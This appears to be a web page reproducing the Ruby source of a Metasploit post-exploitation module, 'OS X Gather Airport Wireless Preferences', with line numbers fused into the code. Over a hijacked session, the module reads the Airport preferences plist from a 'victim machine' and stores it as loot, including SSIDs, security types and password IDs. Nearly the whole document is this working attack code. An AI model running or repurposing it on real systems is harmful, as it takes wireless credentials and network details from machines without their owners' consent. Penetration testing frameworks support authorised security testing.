Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/gather/enum_airport.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'OS X Gather Airport Wireless Preferences',12'Description' => %q{13This module will download OS X Airport Wireless preferences from the victim14machine. The preferences file (which is a plist) contains information such as:15SSID, Channels, Security Type, Password ID, etc.16},17'License' => MSF_LICENSE,18'Author' => [ 'sinn3r'],19'Platform' => [ 'osx' ],20'SessionTypes' => [ 'meterpreter', 'shell' ]21)22)23end2425def exec(cmd)26tries = 027begin28out = cmd_exec(cmd).chomp29rescue ::Timeout::Error => e30tries += 131if tries < 332vprint_error("#{@peer} - #{e.message} - retrying...")33retry34end35rescue EOFError => e36tries += 137if tries < 338vprint_error("#{@peer} - #{e.message} - retrying...")39retry40end41end42end4344def get_air_preferences45pref = exec('cat /Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist')46return pref =~ /No such file or directory/ ? nil : pref47end4849def save(data)50p = store_loot(51'apple.airport.preferences',52'plain/text',53session,54data,55'com.apple.airport.preferences.plist'56)5758print_good("#{@peer} - plist saved in #{p}")59end6061def run62@peer = "#{session.session_host}:#{session.session_port}"6364# Download the plist. If not found (nil), then bail65pref = get_air_preferences66if pref.nil?67print_error("#{@peer} - Unable to find airport preferences")68return69end7071# Save the raw version of the plist72save(pref)73end74end757677